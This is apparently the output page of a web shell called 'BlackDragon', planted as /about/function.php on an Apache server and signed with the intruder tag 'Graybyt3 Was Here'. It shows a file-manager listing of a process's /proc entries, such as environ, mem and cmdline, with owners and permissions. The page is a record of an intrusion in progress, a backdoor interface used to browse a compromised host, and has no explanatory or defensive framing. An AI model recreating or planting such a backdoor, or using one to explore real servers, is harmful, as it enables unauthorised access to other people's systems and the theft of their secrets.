Graybyt3 Was Here
Apache
91.213.11.35
*ReClick For Close
File : BlackDragon /about/function.php
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | avocor/avocor | 0555 | 2025-10-24 07:06:08 | |
| .. | dir | - | avocor/avocor | 0555 | 2025-10-24 07:06:08 | |
| attr | dir | - | avocor/avocor | 0555 | 2025-10-24 07:06:08 | |
| cwd | link | - | avocor/avocor | 0555 | 2025-10-24 07:06:08 | |
| fd | dir | - | root/root | 0500 | 2025-10-24 07:06:08 | |
| fdinfo | dir | - | root/root | 0500 | 2025-10-24 07:06:08 | |
| net | dir | - | avocor/avocor | 0555 | 2025-10-24 07:06:08 | |
| ns | dir | - | root/root | 0511 | 2025-10-24 07:06:08 | |
| root | link | - | root/root | 0555 | 2025-10-24 06:23:04 | |
| auxv | 0 B | root/root | 0400 | 2025-10-24 07:06:08 | ||
| cgroup | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| children | application/x-empty | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| clear_refs | 0 B | root/root | 0200 | 2025-10-24 07:06:08 | ||
| cmdline | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| comm | text/plain | 0 B | root/root | 0644 | 2025-10-24 07:06:08 | |
| cpu_resctrl_groups | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| cpuset | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| environ | 0 B | root/root | 0400 | 2025-10-24 07:06:08 | ||
| exe | application/x-executable | 6.09 MB | root/root | 0755 | 2025-08-15 05:05:23 | |
| gid_map | text/plain | 0 B | root/root | 0644 | 2025-10-24 07:06:08 | |
| io | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| limits | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| loginuid | text/plain | 0 B | root/root | 0644 | 2025-10-24 07:06:08 | |
| maps | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| mem | 0 B | root/root | 0600 | 2025-10-24 07:06:08 | ||
| mountinfo | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| mounts | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| numa_maps | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| oom_adj | text/plain | 0 B | root/root | 0644 | 2025-10-24 07:06:08 | |
| oom_score | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| oom_score_adj | text/plain | 0 B | root/root | 0644 | 2025-10-24 07:06:08 | |
| pagemap | 0 B | root/root | 0400 | 2025-10-24 07:06:08 | ||
| patch_state | 0 B | root/root | 0400 | 2025-10-24 07:06:08 | ||
| personality | 0 B | root/root | 0400 | 2025-10-24 07:06:08 | ||
| projid_map | text/plain | 0 B | root/root | 0644 | 2025-10-24 07:06:08 | |
| sched | text/plain | 0 B | root/root | 0644 | 2025-10-24 07:06:08 | |
| schedstat | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| sessionid | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| setgroups | text/plain | 0 B | root/root | 0644 | 2025-10-24 07:06:08 | |
| smaps | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| smaps_rollup | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| stack | 0 B | root/root | 0400 | 2025-10-24 07:06:08 | ||
| stat | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| statm | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| status | text/plain | 0 B | root/root | 0444 | 2025-10-24 07:06:08 | |
| syscall | 0 B | root/root | 0400 | 2025-10-24 07:06:08 | ||
| uid_map | text/plain | 0 B | root/root | 0644 | 2025-10-24 07:06:08 | |
| wchan | application/octet-stream | 0 B | root/root | 0444 | 2025-10-24 07:06:08 |
© BlackDragon